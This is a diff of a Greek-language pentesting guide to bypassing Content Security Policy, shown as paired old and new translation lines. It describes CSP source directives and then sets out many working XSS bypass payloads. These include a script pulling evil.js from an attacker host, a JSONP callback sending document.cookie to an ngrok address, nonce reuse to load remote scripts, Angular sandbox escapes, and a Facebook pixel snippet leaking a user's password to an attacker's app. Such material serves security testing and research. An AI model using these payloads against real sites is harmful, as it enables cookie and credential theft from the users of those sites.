- **navigate-to**: Περιορίζει τα URLs προς τα οποία ένα έγγραφο μπορεί να πλοηγηθεί με οποιοδήποτε μέσο (a, form, window.location, window.open, κ.λπ.)
|
- **navigate-to**: Περιορίζει τα URL στα οποία ένα έγγραφο μπορεί να μεταβεί με οποιονδήποτε τρόπο (a, form, window.location, window.open, κ.λπ.)
|
||||||
|
|
||||||
### Πηγές
|
### Πηγές
|
||||||
|
|
||||||
- `*`: Επιτρέπει όλα τα URLs εκτός από αυτά με σχήματα `data:`, `blob:`, `filesystem:`.
|
- `*`: Επιτρέπει όλα τα URL εκτός από αυτά με schemes `data:`, `blob:`, `filesystem:`.
|
||||||
- `'self'`: Επιτρέπει φόρτωση από το ίδιο domain.
|
- `'self'`: Επιτρέπει τη φόρτωση από το ίδιο domain.
|
||||||
- `'data'`: Επιτρέπει πόρους να φορτωθούν μέσω του data scheme (π.χ., Base64 κωδικοποιημένες εικόνες).
|
- `'data'`: Επιτρέπει να φορτωθούν resources μέσω του data scheme (π.χ., Base64 encoded images).
|
||||||
- `'none'`: Αποκλείει φόρτωση από οποιαδήποτε πηγή.
|
- `'none'`: Αποκλείει τη φόρτωση από οποιαδήποτε πηγή.
|
||||||
- `'unsafe-eval'`: Επιτρέπει τη χρήση του `eval()` και παρόμοιων μεθόδων, δεν συνιστάται για λόγους ασφαλείας.
|
- `'unsafe-eval'`: Επιτρέπει τη χρήση του `eval()` και παρόμοιων μεθόδων — δεν συνιστάται για λόγους ασφαλείας.
|
||||||
- `'unsafe-hashes'`: Ενεργοποιεί συγκεκριμένους inline event handlers.
|
- `'unsafe-hashes'`: Ενεργοποιεί συγκεκριμένους inline event handlers.
|
||||||
- `'unsafe-inline'`: Επιτρέπει τη χρήση ενσωματωμένων πόρων όπως inline `<script>` ή `<style>`, δεν συνιστάται για λόγους ασφαλείας.
|
- `'unsafe-inline'`: Επιτρέπει τη χρήση inline resources όπως inline `<script>` ή `<style>` — δεν συνιστάται για λόγους ασφαλείας.
|
||||||
- `'nonce'`: Μια whitelist για συγκεκριμένα inline scripts που χρησιμοποιούν ένα κρυπτογραφικό nonce (αριθμός που χρησιμοποιείται μία φορά).
|
- `'nonce'`: Λευκή λίστα για συγκεκριμένα inline scripts που χρησιμοποιούν cryptographic nonce (αριθμός που χρησιμοποιείται μία φορά).
|
||||||
- Αν έχετε περιορισμένη εκτέλεση JS, είναι πιθανό να πάρετε ένα χρησιμοποιημένο nonce μέσα στη σελίδα με `doc.defaultView.top.document.querySelector("[nonce]")` και στη συνέχεια να το επαναχρησιμοποιήσετε για να φορτώσετε ένα κακόβουλο script (αν χρησιμοποιείται strict-dynamic, οποιαδήποτε επιτρεπόμενη πηγή μπορεί να φορτώσει νέες πηγές οπότε αυτό δεν είναι απαραίτητο), όπως στο:
|
- Αν έχετε περιορισμένη εκτέλεση JS, είναι δυνατό να εντοπίσετε ένα χρησιμοποιημένο nonce μέσα στη σελίδα με `doc.defaultView.top.document.querySelector("[nonce]")` και στη συνέχεια να το επαναχρησιμοποιήσετε για να φορτώσετε ένα κακόβουλο script (αν χρησιμοποιείται strict-dynamic, οποιαδήποτε επιτρεπόμενη πηγή μπορεί να φορτώσει νέες πηγές οπότε αυτό δεν είναι αναγκαίο), όπως στο:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
- `'sha256-<hash>'`: Εισάγει στη λευκή λίστα scripts με συγκεκριμένο sha256 hash.
|
- `'sha256-<hash>'`: Προσθέτει στη λευκή λίστα scripts με συγκεκριμένο sha256 hash.
|
||||||
- `'strict-dynamic'`: Επιτρέπει τη φόρτωση scripts από οποιαδήποτε πηγή εάν έχουν προστεθεί στη λευκή λίστα μέσω nonce ή hash.
|
- `'strict-dynamic'`: Επιτρέπει τη φόρτωση scripts από οποιαδήποτε πηγή εάν έχει προστεθεί στη λευκή λίστα με nonce ή hash.
|
||||||
- `'host'`: Καθορίζει έναν συγκεκριμένο host, όπως `example.com`.
|
- `'host'`: Καθορίζει έναν συγκεκριμένο host, όπως `example.com`.
|
||||||
- `https:`: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.
|
- `https:`: Περιορίζει τα URLs σε αυτά που χρησιμοποιούν HTTPS.
|
||||||
- `blob:`: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
|
- `blob:`: Επιτρέπει πόρους από Blob URLs (π.χ. Blob URLs που δημιουργούνται μέσω JavaScript).
|
||||||
- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το filesystem.
|
- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το filesystem.
|
||||||
- `'report-sample'`: Περιλαμβάνει δείγμα του παραβατικού κώδικα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).
|
- `'report-sample'`: Συμπεριλαμβάνει δείγμα του παραβατικού κώδικα στην αναφορά παραβίασης (χρήσιμο για debugging).
|
||||||
- `'strict-origin'`: Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφάλειας του πρωτοκόλλου των πηγών ταιριάζει με αυτό του εγγράφου (μόνο ασφαλείς προελεύσεις μπορούν να φορτώσουν πόρους από ασφαλείς προελεύσεις).
|
- `'strict-origin'`: Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφάλειας του πρωτοκόλλου των πηγών ταιριάζει με του εγγράφου (μόνο ασφαλείς προελεύσεις μπορούν να φορτώσουν πόρους από ασφαλείς προελεύσεις).
|
||||||
- `'strict-origin-when-cross-origin'`: Στέλνει πλήρεις URLs όταν γίνονται αιτήσεις ίδιας προέλευσης αλλά αποστέλλει μόνο την προέλευση όταν η αίτηση είναι cross-origin.
|
- `'strict-origin-when-cross-origin'`: Στέλνει πλήρη URLs για same-origin αιτήματα αλλά στέλνει μόνο το origin όταν το αίτημα είναι cross-origin.
|
||||||
- `'unsafe-allow-redirects'`: Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνουν άμεσα σε άλλον πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.
|
- `'unsafe-allow-redirects'`: Επιτρέπει τη φόρτωση πόρων που θα ανακατευθυνθούν αμέσως σε άλλον πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.
|
||||||
|
|
||||||
## Μη ασφαλείς κανόνες CSP
|
## Μη ασφαλείς κανόνες CSP
|
||||||
|
|
||||||
@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
|||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||||
```
|
```
|
||||||
Ενεργό payload: `"/><script>alert(1);</script>`
|
Λειτουργικό payload: `"/><script>alert(1);</script>`
|
||||||
|
|
||||||
#### self + 'unsafe-inline' μέσω Iframes
|
#### self + 'unsafe-inline' μέσω Iframes
|
||||||
|
|
||||||
@ -127,9 +127,9 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
|||||||
```
|
```
|
||||||
### strict-dynamic
|
### strict-dynamic
|
||||||
|
|
||||||
Αν με κάποιον τρόπο καταφέρετε να κάνετε ένα **allowed JS code created a new script tag** στο DOM με τον JS κώδικά σας — επειδή ένα επιτρεπόμενο script το δημιουργεί — τότε το **new script tag will be allowed to be executed**.
|
Αν με κάποιον τρόπο μπορέσεις να κάνεις έναν allowed JS code να δημιουργήσει ένα νέο script tag στο DOM με τον JS κώδικά σου — επειδή ένα allowed script το δημιουργεί — τότε το νέο script tag θα επιτρέπεται να εκτελεστεί.
|
||||||
|
|
||||||
### Wildcard (*)
|
### Wildcard (\*)
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||||
```
|
```
|
||||||
@ -138,9 +138,9 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
|||||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||||
```
|
```
|
||||||
### Έλλειψη object-src και default-src
|
### Έλλειψη των object-src και default-src
|
||||||
|
|
||||||
> [!CAUTION] > **Φαίνεται ότι αυτό δεν λειτουργεί πια**
|
> [!CAUTION] > **Φαίνεται πως αυτό δεν λειτουργεί πια**
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' ;
|
Content-Security-Policy: script-src 'self' ;
|
||||||
```
|
```
|
||||||
@ -150,30 +150,30 @@ Content-Security-Policy: script-src 'self' ;
|
|||||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||||
<param name="AllowScriptAccess" value="always"></object>
|
<param name="AllowScriptAccess" value="always"></object>
|
||||||
```
|
```
|
||||||
### File Upload + 'self'
|
### Μεταφόρτωση Αρχείου + 'self'
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||||
```
|
```
|
||||||
Αν μπορείτε να ανεβάσετε ένα αρχείο JS, μπορείτε να παρακάμψετε αυτό το CSP:
|
Εάν μπορείτε να ανεβάσετε ένα αρχείο JS, μπορείτε να παρακάμψετε αυτό το CSP:
|
||||||
|
|
||||||
Λειτουργικό payload:
|
Working payload:
|
||||||
```html
|
```html
|
||||||
"/>'><script src="/uploads/picture.png.js"></script>
|
"/>'><script src="/uploads/picture.png.js"></script>
|
||||||
```
|
```
|
||||||
Ωστόσο, είναι πολύ πιθανό ότι ο server **επαληθεύει το αρχείο που ανεβάζετε** και θα σας επιτρέψει μόνο να **ανεβάσετε συγκεκριμένους τύπους αρχείων**.
|
Ωστόσο, είναι πολύ πιθανό ότι ο server **επικυρώνει το ανεβασμένο αρχείο** και θα σας επιτρέψει μόνο να **ανεβάσετε συγκεκριμένους τύπους αρχείων**.
|
||||||
|
|
||||||
Επιπλέον, ακόμα κι αν καταφέρετε να ανεβάσετε **κώδικα JS μέσα** σε ένα αρχείο χρησιμοποιώντας μία επέκταση που γίνεται αποδεκτή από τον server (π.χ. _script.png_) αυτό δεν θα είναι αρκετό επειδή κάποιοι servers όπως ο Apache **επιλέγουν το MIME type του αρχείου βάσει της επέκτασης** και browsers όπως ο Chrome θα **αρνηθούν να εκτελέσουν Javascript** κώδικα μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ευτυχώς", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την εξυπηρετεί με **MIME type όπως audio/***.
|
Επιπλέον, ακόμη και αν καταφέρατε να ανεβάσετε **JS code inside** ένα αρχείο χρησιμοποιώντας μια επέκταση που δέχεται ο server (like: _script.png_) αυτό δεν θα είναι αρκετό επειδή κάποιοι servers όπως ο apache server **επιλέγουν το MIME type του αρχείου με βάση την επέκταση** και browsers όπως ο Chrome θα **απορρίψουν την εκτέλεση του Javascript** κώδικα μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Hopefully", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **Apache δεν γνωρίζει** την _**.wave**_ επέκταση, συνεπώς δεν την σερβίρει με ένα **MIME type like audio/***.
|
||||||
|
|
||||||
Από εδώ, αν βρείτε XSS και δυνατότητα file upload, και καταφέρετε να βρείτε μια **επέκταση που παρερμηνεύεται**, μπορείτε να δοκιμάσετε να ανεβάσετε ένα αρχείο με αυτήν την επέκταση και με το περιεχόμενο του script. Ή, αν ο server ελέγχει το σωστό format του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
Από εδώ, αν βρείτε ένα XSS και ένα file upload, και καταφέρετε να βρείτε μια **misinterpreted extension**, μπορείτε να δοκιμάσετε να ανεβάσετε ένα αρχείο με εκείνη την επέκταση και το περιεχόμενο του script. Ή, αν ο server ελέγχει το σωστό format του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||||
|
|
||||||
### Form-action
|
### Form-action
|
||||||
|
|
||||||
Αν δεν είναι εφικτό να εγχύσετε JS, μπορείτε ακόμα να δοκιμάσετε να εξάγετε, για παράδειγμα, credentials εγχύοντας ένα form action (και ίσως περιμένοντας από password managers να συμπληρώσουν αυτόματα τα passwords). Μπορείτε να βρείτε ένα [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι `default-src` δεν καλύπτει τα form actions.
|
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
|
||||||
|
|
||||||
### Third Party Endpoints + ('unsafe-eval')
|
### Third Party Endpoints + ('unsafe-eval')
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Για κάποια από τα παρακάτω payload **`unsafe-eval` δεν είναι καν απαραίτητο**.
|
> Για μερικά από τα παρακάτω payload **`unsafe-eval` δεν είναι καν απαραίτητο**.
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
|
||||||
```
|
```
|
||||||
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||||
>
|
>
|
||||||
```
|
```
|
||||||
#### Payloads που χρησιμοποιούν Angular + μια βιβλιοθήκη με συναρτήσεις που επιστρέφουν το `window` αντικείμενο ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
#### Payloads που χρησιμοποιούν Angular + μια βιβλιοθήκη με συναρτήσεις που επιστρέφουν το αντικείμενο `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Το άρθρο δείχνει ότι μπορείτε να **φορτώσετε** όλες τις **βιβλιοθήκες** από `cdn.cloudflare.com` (ή οποιοδήποτε άλλο επιτρεπόμενο αποθετήριο βιβλιοθηκών JS), να εκτελέσετε όλες τις προστιθέμενες συναρτήσεις από κάθε βιβλιοθήκη, και να ελέγξετε **ποιες συναρτήσεις από ποιες βιβλιοθήκες επιστρέφουν το `window` αντικείμενο**.
|
> Το post δείχνει ότι θα μπορούσατε να **φορτώσετε** όλες τις **βιβλιοθήκες** από `cdn.cloudflare.com` (ή οποιοδήποτε άλλο επιτρεπόμενο αποθετήριο JS βιβλιοθηκών), να εκτελέσετε όλες τις προστιθέμενες συναρτήσεις από κάθε βιβλιοθήκη, και να ελέγξετε **ποιες συναρτήσεις από ποιες βιβλιοθήκες επιστρέφουν το αντικείμενο `window`**.
|
||||||
```html
|
```html
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||||
@ -225,13 +225,13 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||||||
{{[].erase.call().alert('xss')}}
|
{{[].erase.call().alert('xss')}}
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
Angular XSS από ένα όνομα κλάσης:
|
Angular XSS από το όνομα μιας κλάσης:
|
||||||
```html
|
```html
|
||||||
<div ng-app>
|
<div ng-app>
|
||||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
#### Κατάχρηση google recaptcha JS κώδικα
|
#### Κατάχρηση google recaptcha JS code
|
||||||
|
|
||||||
Σύμφωνα με [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο JS κώδικα παρακάμπτοντας το CSP:
|
Σύμφωνα με [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) μπορείτε να καταχραστείτε [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) μέσα σε ένα CSP για να εκτελέσετε αυθαίρετο JS κώδικα παρακάμπτοντας το CSP:
|
||||||
```html
|
```html
|
||||||
@ -261,21 +261,21 @@ b=doc.createElement("script");
|
|||||||
b.src="//example.com/evil.js";
|
b.src="//example.com/evil.js";
|
||||||
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||||
```
|
```
|
||||||
#### Κατάχρηση του www.google.com για open redirect
|
#### Κατάχρηση www.google.com για open redirect
|
||||||
|
|
||||||
Η παρακάτω URL ανακατευθύνει στο example.com (από [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
Το παρακάτω URL ανακατευθύνει στο example.com (από [εδώ](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||||
```
|
```
|
||||||
https://www.google.com/amp/s/example.com/
|
https://www.google.com/amp/s/example.com/
|
||||||
```
|
```
|
||||||
Abusing \*.google.com/script.google.com
|
Κατάχρηση \*.google.com/script.google.com
|
||||||
|
|
||||||
Είναι δυνατόν να καταχραστεί κανείς το Google Apps Script για να λάβει πληροφορίες σε μία σελίδα εντός του script.google.com. Όπως συμβαίνει σε αυτή την αναφορά [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
Είναι δυνατόν να γίνει κατάχρηση του Google Apps Script ώστε να λαμβάνονται πληροφορίες σε μια σελίδα μέσα στο script.google.com. Αυτό έχει συμβεί σε αυτήν την αναφορά: [όπως φαίνεται εδώ](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||||
|
|
||||||
### Third Party Endpoints + JSONP
|
### Endpoints τρίτων μερών + JSONP
|
||||||
```http
|
```http
|
||||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||||
```
|
```
|
||||||
Σενάρια όπως αυτό όπου το `script-src` είναι ρυθμισμένο σε `self` και ένα συγκεκριμένο domain που είναι στη whitelist μπορούν να παρακαμφθούν χρησιμοποιώντας JSONP. Τα JSONP endpoints επιτρέπουν μη ασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, working payload:
|
Σενάρια σαν αυτό όπου το `script-src` είναι ρυθμισμένο σε `self` και ένας συγκεκριμένος domain που είναι whitelisted μπορούν να παρακαμφθούν χρησιμοποιώντας JSONP. Τα JSONP endpoints επιτρέπουν μη ασφαλείς μεθόδους callback οι οποίες επιτρέπουν σε έναν attacker να πραγματοποιήσει XSS, λειτουργικό payload:
|
||||||
```html
|
```html
|
||||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||||
@ -291,13 +291,13 @@ https://www.youtube.com/oembed?callback=alert;
|
|||||||
```
|
```
|
||||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **περιέχει έτοιμα προς χρήση JSONP endpoints για CSP bypass σε διάφορους ιστότοπους.**
|
[**JSONBee**](https://github.com/zigoo0/JSONBee) **περιέχει έτοιμα προς χρήση JSONP endpoints για CSP bypass σε διάφορους ιστότοπους.**
|
||||||
|
|
||||||
Η ίδια ευπάθεια θα παρουσιαστεί αν το **trusted endpoint περιέχει ένα Open Redirect**, διότι αν το αρχικό endpoint είναι trusted, τότε και τα redirects θεωρούνται trusted.
|
Το ίδιο ευπάθεια θα παρουσιαστεί αν το **αξιόπιστο endpoint περιέχει ένα Open Redirect**, επειδή αν το αρχικό endpoint είναι αξιόπιστο, οι ανακατευθύνσεις θεωρούνται επίσης αξιόπιστες.
|
||||||
|
|
||||||
### Καταχρήσεις τρίτων
|
### Καταχρήσεις τρίτων
|
||||||
|
|
||||||
Όπως περιγράφεται στο [ακόλουθο post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλά third party domains που μπορεί να επιτρέπονται κάπου στο CSP και μπορούν να καταχραστούν είτε για εξαγωγή δεδομένων είτε για εκτέλεση JavaScript κώδικα. Μερικοί από αυτούς τους τρίτους είναι:
|
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλοί τομείς τρίτων που μπορεί να επιτρέπονται κάπου στο CSP και μπορούν να καταχραστούν είτε για exfiltrate δεδομένα είτε για εκτέλεση JavaScript. Μερικοί από αυτούς είναι:
|
||||||
|
|
||||||
| Οντότητα | Επιτρεπόμενο Domain | Δυνατότητες |
|
| Οντότητα | Επιτρεπόμενος Domain | Δυνατότητες |
|
||||||
| ----------------- | -------------------------------------------- | ------------ |
|
| ----------------- | -------------------------------------------- | ------------ |
|
||||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||||
@ -308,7 +308,7 @@ https://www.youtube.com/oembed?callback=alert;
|
|||||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||||
|
|
||||||
Αν βρείτε κάποιο από τα επιτρεπόμενα domains στο CSP του στόχου σας, υπάρχει πιθανότητα να μπορέσετε να παρακάμψετε το CSP εγγραφόμενοι στην υπηρεσία τρίτου μέρους και είτε να εξάγετε δεδομένα σε αυτήν την υπηρεσία είτε να εκτελέσετε κώδικα.
|
If you find any of the allowed domains in the CSP of your target, chances are that you might be able to bypass the CSP by registering on the third-party service and, either exfiltrate data to that service or to execute code.
|
||||||
|
|
||||||
Για παράδειγμα, αν βρείτε το ακόλουθο CSP:
|
Για παράδειγμα, αν βρείτε το ακόλουθο CSP:
|
||||||
```
|
```
|
||||||
@ -318,78 +318,78 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||||||
```
|
```
|
||||||
Content-Security-Policy: connect-src www.facebook.com;
|
Content-Security-Policy: connect-src www.facebook.com;
|
||||||
```
|
```
|
||||||
Πρέπει να μπορείτε να exfiltrate data, παρόμοια με το πώς γινόταν πάντα με [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα:
|
Θα πρέπει να μπορείτε να exfiltrate δεδομένα, παρόμοια όπως γινόταν πάντα με [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα:
|
||||||
|
|
||||||
1. Δημιουργήστε έναν Facebook Developer account εδώ.
|
1. Δημιουργήστε έναν Facebook Developer account εδώ.
|
||||||
2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website".
|
2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website".
|
||||||
3. Πηγαίνετε στο "Settings -> Basic" και πάρτε το "App ID" σας.
|
3. Πηγαίνετε στο "Settings -> Basic" και πάρτε το "App ID"
|
||||||
4. Στο target site από το οποίο θέλετε να exfiltrate data, μπορείτε να exfiltrate data χρησιμοποιώντας απευθείας το Facebook SDK gadget "fbq" μέσω ενός "customEvent" και του data payload.
|
4. Στον target site από τον οποίο θέλετε να exfiltrate δεδομένα, μπορείτε να το κάνετε χρησιμοποιώντας απευθείας το Facebook SDK gadget "fbq" μέσω ενός "customEvent" και του data payload.
|
||||||
5. Πηγαίνετε στην App σας "Event Manager" και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο event manager μπορεί να βρεθεί σε ένα URL παρόμοιο με αυτό: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
5. Πηγαίνετε στο App σας "Event Manager" και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο event manager μπορεί να βρεθεί σε ένα URL παρόμοιο με αυτό: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
|
||||||
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τα events που αποστέλλονται από το "your" web site.
|
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τα events που αποστέλλονται από τον "your" web site.
|
||||||
|
|
||||||
Έπειτα, στην victim πλευρά, εκτελείτε τον ακόλουθο κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στο attacker's Facebook developer account app-id και να εκδώσετε ένα custom event όπως το εξής:
|
Στη συνέχεια, στην πλευρά του victim, εκτελείτε τον ακόλουθο κώδικα για να initialize the Facebook tracking pixel ώστε να δείχνει στο app-id του attacker's Facebook developer account και να εκδώσει ένα custom event όπως παρακάτω:
|
||||||
```JavaScript
|
```JavaScript
|
||||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||||
fbq('trackCustom', 'My-Custom-Event',{
|
fbq('trackCustom', 'My-Custom-Event',{
|
||||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Όσον αφορά τους άλλους επτά third-party domains που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι να τους καταχραστείτε. Ανατρέξτε στο προηγούμενο [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για πρόσθετες εξηγήσεις σχετικά με άλλες καταχρήσεις από τρίτους.
|
Όσον αφορά τις άλλες επτά third-party domains που αναφέρονται στον προηγούμενο πίνακα, υπάρχουν πολλοί άλλοι τρόποι που μπορείτε να τα καταχραστείτε. Ανατρέξτε στο προηγούμενο [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) για επιπλέον επεξηγήσεις σχετικά με άλλες third-party καταχρήσεις.
|
||||||
|
|
||||||
### Παράκαμψη μέσω RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
### Παράκαμψη μέσω RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||||
|
|
||||||
Εκτός από την προαναφερθείσα ανακατεύθυνση για παράκαμψη των περιορισμών μονοπατιού, υπάρχει άλλη τεχνική που ονομάζεται Relative Path Overwrite (RPO) και μπορεί να χρησιμοποιηθεί σε ορισμένους servers.
|
Επιπλέον της προαναφερθείσας ανακατεύθυνσης για την παράκαμψη περιορισμών διαδρομής, υπάρχει μια άλλη τεχνική που ονομάζεται Relative Path Overwrite (RPO) η οποία μπορεί να χρησιμοποιηθεί σε ορισμένους servers.
|
||||||
|
|
||||||
Για παράδειγμα, αν το CSP επιτρέπει τη διαδρομή `https://example.com/scripts/react/`, μπορεί να παρακαμφθεί ως εξής:
|
